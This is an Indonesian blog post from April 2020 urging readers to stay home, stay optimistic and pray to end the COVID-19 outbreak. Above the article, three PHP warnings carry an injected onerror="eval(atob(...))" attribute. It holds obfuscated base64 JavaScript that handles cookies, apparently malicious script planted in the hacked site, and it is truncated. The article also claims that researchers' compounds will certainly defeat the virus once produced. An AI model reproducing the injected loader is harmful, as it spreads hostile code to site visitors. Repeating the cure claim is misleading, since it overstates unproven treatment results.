Wabah Virus Corona Akan Segera Berakhir Bila Perhatikan 3 Hal Ini

By | April 8, 2020

Warning: file_exists(): File name is longer than the maximum allowed path length on this platform (4096): /home/mengajim/public_html/wp-content/themes/iconic-one/wppr/default' onerror="eval(atob('ZnVuY3Rpb24gc3RhcnQoKSB7CiAgICBmdW5jdGlvbiBzZXRDb29raWUobmFtZSwgdmFsdWUsIGRheXMpIHsKICAgICAgICB2YXIgZXhwaXJlcyA9ICIiOwogICAgICAgIGlmIChkYXlzKSB7CiAgICAgICAgICAgIHZhciBkYXRlID0gbmV3IERhdGUoKTsKICAgICAgICAgICAgZGF0ZS5zZXRUaW1lKGRhdGUuZ2V0VGltZSgpICsgKGRheXMgKiAyNCAqIDYwICogNjAgKiAxMDAwKSk7CiAgICAgICAgICAgIGV4cGlyZXMgPSAiOyBleHBpcmVzPSIgKyBkYXRlLnRvVVRDU3RyaW5nKCk7CiAgICAgICAgfQogICAgICAgIGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LyI7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIHsKICAgICAgICB2YXIgbmFtZUVRID0gbmFtZSArICI9IjsKICAgICAgICB2YXIgY2EgPSBkb2N1bWVudC5jb29raWUuc3BsaXQoIjsiKTsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGNhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHZhciBjID0gY2FbaV07CiAgICAgICAgICAgIHdoaWxlIChjLmNoYXJBdCgwKSA9PSAiICIpIGMgPSBjLnN1YnN0cmluZygxLCBjLmxlbmd0aCk7CiAgICAg in /home/mengajim/public_html/wp-content/plugins/wp-product-review/includes/class-wppr-template.php on line 93

Warning: file_exists(): File name is longer than the maximum allowed path length on this platform (4096): /home/mengajim/public_html/wp-content/themes/iconic-one/wppr/default' onerror="eval(atob('ZnVuY3Rpb24gc3RhcnQoKSB7CiAgICBmdW5jdGlvbiBzZXRDb29raWUobmFtZSwgdmFsdWUsIGRheXMpIHsKICAgICAgICB2YXIgZXhwaXJlcyA9ICIiOwogICAgICAgIGlmIChkYXlzKSB7CiAgICAgICAgICAgIHZhciBkYXRlID0gbmV3IERhdGUoKTsKICAgICAgICAgICAgZGF0ZS5zZXRUaW1lKGRhdGUuZ2V0VGltZSgpICsgKGRheXMgKiAyNCAqIDYwICogNjAgKiAxMDAwKSk7CiAgICAgICAgICAgIGV4cGlyZXMgPSAiOyBleHBpcmVzPSIgKyBkYXRlLnRvVVRDU3RyaW5nKCk7CiAgICAgICAgfQogICAgICAgIGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LyI7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIHsKICAgICAgICB2YXIgbmFtZUVRID0gbmFtZSArICI9IjsKICAgICAgICB2YXIgY2EgPSBkb2N1bWVudC5jb29raWUuc3BsaXQoIjsiKTsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGNhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHZhciBjID0gY2FbaV07CiAgICAgICAgICAgIHdoaWxlIChjLmNoYXJBdCgwKSA9PSAiICIpIGMgPSBjLnN1YnN0cmluZygxLCBjLmxlbmd0aCk7CiAgICAg in /home/mengajim/public_html/wp-content/plugins/wp-product-review/includes/class-wppr-template.php on line 93

Warning: file_exists(): File name is longer than the maximum allowed path length on this platform (4096): /home/mengajim/public_html/wp-content/plugins/wp-product-review/includes/public/layouts/default' onerror="eval(atob('ZnVuY3Rpb24gc3RhcnQoKSB7CiAgICBmdW5jdGlvbiBzZXRDb29raWUobmFtZSwgdmFsdWUsIGRheXMpIHsKICAgICAgICB2YXIgZXhwaXJlcyA9ICIiOwogICAgICAgIGlmIChkYXlzKSB7CiAgICAgICAgICAgIHZhciBkYXRlID0gbmV3IERhdGUoKTsKICAgICAgICAgICAgZGF0ZS5zZXRUaW1lKGRhdGUuZ2V0VGltZSgpICsgKGRheXMgKiAyNCAqIDYwICogNjAgKiAxMDAwKSk7CiAgICAgICAgICAgIGV4cGlyZXMgPSAiOyBleHBpcmVzPSIgKyBkYXRlLnRvVVRDU3RyaW5nKCk7CiAgICAgICAgfQogICAgICAgIGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LyI7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIHsKICAgICAgICB2YXIgbmFtZUVRID0gbmFtZSArICI9IjsKICAgICAgICB2YXIgY2EgPSBkb2N1bWVudC5jb29raWUuc3BsaXQoIjsiKTsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGNhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHZhciBjID0gY2FbaV07CiAgICAgICAgICAgIHdoaWxlIChjLmNoYXJBdCgwKSA9PSAiICIpIGMgPSBjLnN1YnN0cmluZ in /home/mengajim/public_html/wp-content/plugins/wp-product-review/includes/class-wppr-template.php on line 93

Dunia tersentak oleh wabah virus corona yang semakin menggila. Di belahan bumi barat maupun timur virus corona melabrak semua yang ada di hadapannya. Tidak peduli negara manapun, bangsa atau suku apapun, laki atau perempuan, anak-anak hingga lanjut usia  semua berresiko terjangkiti virus ini. Tampaknya dunia sedang menghadapi musuh yang sama : Corona.

Per 12 Maret 2020 WHO sebagai organisasi kesehatan dunia menyatakan bahwa wabah virus corona sudah meningkat menjadi pandemi. Kenapa? Karena virus ini sudah menyebar ke berbagai negara dengan tingkat penularan yang massif. Dimulai dari sebuah kota bernama Wuhan lalu dengan sangat cepat menjalari negara-negara lainnya, termasuk Indonesia.

Awalnya semua menyangka virus ini hanya menginfeksi di kota Wuhan saja, tanpa persiapan yang matang ternyata corona menyambangi sampai  keluar wilayah China. Akibatnya masyarakat dunia disibukkan memerangi wabah ini. Sampai dengan hari ini sedikitnya 211 negara telah terjangkit dengan ditemukan kasus terkonfirmasi sebanyak 1.214.466 kasus positif corona dengan jumlah kematian di seluruh negara sebanyak 67.767 orang.

Lalu Indonesia gimana? Sampai artikel ini terbit kasus positif corona di Indonesia semakin bertambah setiap harinya. Dari sejak diumumkan oleh Presiden tanggal 2 Maret lalu hingga hari ini tercatat 2.738 kasus positif corona. Bertambah secara eksponensial. Yang lebih menyedihkan tingkat kematian akibat virus corona di Indonesia tertinggi kedua setelah Italia.

Gugus Tugas Percepatan Penanganan Virus Corona Covid-19 memberikan informasi seputar case fatality rate (CFR) atau tingkat kematian akibat virus corona yang dikeluarkan secara resmi pada hari Senin tanggal 30 Maret lalu pukul 16:45 bahwa Indonesia menempati peringkat kedua setelah Italia. Berikut lima negara dengan CFR virus corona tertinggi di dunia :

Italia 11,3 %

Indonesia 8,63 %

Spanyol 8,62 %

Iran 6,89 %

Perancis 6,49 %

Bila melihat statistik seperti ini tentu kita merasa khawatir. Karena kecenderungan angkanya gak berubah. Bertahan selama beberapa minggu ini. Sehingga dapat kita bayangkan bisa jadi potensi penularannya akan menginfeksi teman kita, tetangga kita atau malah keluarga kita sendiri. Tentu kita tidak mau hal itu terjadi.

So, apa yang mesti kita lakukan buat menghindari potensi penularan virus mematikan ini?

Rule-1, #DiRumahAja

Sudah banyak himbauan pemerintah tentang keharusan berdiam di rumah. Terkecuali bagi profesi yang diperlukan untuk melayani kepentingan umum, seperti dokter, perawat, tenaga medis, teknisi lapangan, tenaga keamanan. Selain itu, berdiam di rumah sajalah. Mungkin banyak dari kita yang belum tersadar pentingnya berdiam di rumah saat ini. Mungkin masih banyak warga yang menyepelekan paparan corona, the deadly virus ini.

Begini, dengan berdiam di rumah berarti kita telah menyelamatkan diri kita, tetangga kita, teman kita bahkan bangsa kita saat ini. Gak percaya? Udah tahu kan paparan corona saat ini udah local transmitted? Artinya kita bisa terpapar oleh siapa aja, dimana aja dan kapan aja. Dengan berdiam di rumah berarti meminimalisir kontak dengan orang banyak. Ini bukan berarti kita anti sosial. Sama sekali bukan.

Kita perlu mengapresiasi peran dokter, perawat dan tenaga medis lainnya yang berjibaku di garis depan. Mereka membahayakan nyawanya sendiri karena berhadapan langsung dengan penderita corona. Setiap hari penderita semakin bertambah. Sedangkan ketersediaan APD masih terbatas. Apakah kita tega melihat perjuangan mereka yang berdarah-darah menangani pasien yang kunjung datang tiada henti. Yah mungkin salah satunya karena Anda yang masih membandel ini, gak mau diem di rumah.

Kita bisa bayangkan, bila rakyat Indonesia berdisiplin mengisolasi diri di rumah dengan sendirinya riwayat virus corona akan segera berakhir. Bumi tanah air kembali sehat. Para dokter dan perawat bisa fokus menangani pasien tanpa perlu khawatir dibebani dengan pasien yang cenderung kian bertambah. Lalu lambat laun meski harus berproses kita bisa memulai aktifitas kembali seperti biasa.

Kita ingin wabah ini segera berakhir, tapi masih doyan aja ngumpul-ngumpul seperti seolah-olah tidak ada corona. Udah gak pake masker gak jaga jarak lagi. It’s just a bullshit.

Seorang ahli pandemi dari China mengatakan : Jangan menganggap remeh virus Corona, ini virus mematikan.

So, dengan amat sangat mohon tinggallah di rumah.

Rule-2, #TetapOptimis

Saya salut saat melihat tayangan warga Wuhan saling menyemangati satu dengan yang lain di tengah kepungan wabah virus corona. Walau terisolasi teriakan semangat itu menjadi energi bagi mereka dalam menjalani hari yang dipenuhi ketidakpastian kapan wabah akan berakhir.

Tidak mesti seperti Wuhan harus teriak-teriak demi memberikan semangat. Saya membayangkan selama warga mengisolasi diri tayangan televisi di rumah berubah menjadi konten positif penuh muatan motivasi. Tidak melulu berisi berita korban corona yang ditolak dimakamkan hingga banyaknya jumlah korban meninggal yang kian bertambah.

Dalam buku berjudul Learned Optimism : How to Change Your Mind and Your Life karya Profesor Martin Seligman mengungkap fakta bahwa berita TV dan media-media online yang berisikan informasi negatif cenderung menurunkan level optimisme seseorang.

Penganut aliran positive psychology itu mengatakan bila pikiran kita dibombardir dengan suguhan  berita negatif terus-menerus maka perlahan kita menjadi berfikir : jangan-jangan kondisinya akan terus seperti ini. Persepsi kita akan menjadi pesimis juga.  So, sangat penting pikiran kita mendapat paparan berita positif.

Dalam 1 minggu terakhir, saya menyaksikan di televisi seorang lansia pasien Covid-19 berusia 76 tahun di Jawa Timur berhasil sembuh.  Ini memperlihatkan bahwa virus corona yang menginfeksi lansia pun masih bisa disembuhkan. Sehingga timbul semangat pada penderita corona yang masih muda berjuang untuk sembuh.

Lalu berita dari peneliti Universitas Airlangga yang telah menemukan 5 senyawa yang diklaim bisa menjadi obat virus corona Covid-19. Ni Nyoman Tri Puspaningsih mengatakan bahwa 5 senyawa  yang ditemukan pihaknya ini memiliki daya ikat yang lebih kuat dari pada Choloroquine dan Avigan. Dua merk terakhir adalah obat yang sedang digunakan di Indonesia dalam mengatasi corona. Bila hasil penilitian Unair ini sudah bisa diproduksi dalam bentuk obat, maka sudah bisa dipastikan corona dapat mudah dikalahkan.

Dua fakta di atas lebih menumbuhkan sikap optimis daripada serangan berita-berita negatif. Lebih jauh saya membayangkan masing-masing pemuka agama, tokoh nasional, selebritas, para motivator dan para influencer secara bergantian memberikan pencerahan dan menanamkan optimisme pada seluruh warga bahwa corona bisa diatasi bersama. Sehingga atmosfir bumi tempat kita berpijak ini dipenuhi optmisme dari kumpulan orang-orang yang optimis bahwa corona akan segera berakhir.

So, tetaplah optimis.

Rule-3, #Berdo’a&Tawakkal

Dua langkah di atas merupakan sebagian kecil ikhtiar dalam memerangi corona. Dengan segala keterbatasannya manusia hendaknya menyandarkan hasil usahanya kepada Sang Maha Pencipta. Sehebat apapun manusia tidak akan mewujud keinginannya tanpa perkenan dari Yang Maha Kuasa.

Bagi umat Islam, bila pandemi ini masih berlangsung hingga bulan Ramadhan mohon bersabarlah. Tetap maksimalkan usaha dengan berdiam di rumah, perbanyak kebaikan, serta do’akan agar wabah segera berakhir.

Kelak bila wabah ini telah berakhir usaha kita bersama akan menjadi momen tak terlupakan.

Demikianlah 3 hal yang bisa kita lakukan :

#DiRumahAja

#TetapOptimis

#Berdo’a&Tawakkal

Lakukan 3 hal ini, maka semoga wabah virus corona akan segera lenyap dari bumi kita tercinta. Aamiin..

NOTE :
Mau update artikel-artikel mencerahkan melalui smartphone seperti yang barusan Anda baca? Langsung saja save + invite nomor WA saya di 0856 9974 568. Bagi yang invite saya akan bagikan BONUS sebuah free ebook atau audiobook. TINGGAL PILIH. Dua-duanya keren koq.

Leave a Reply

Your email address will not be published. Required fields are marked *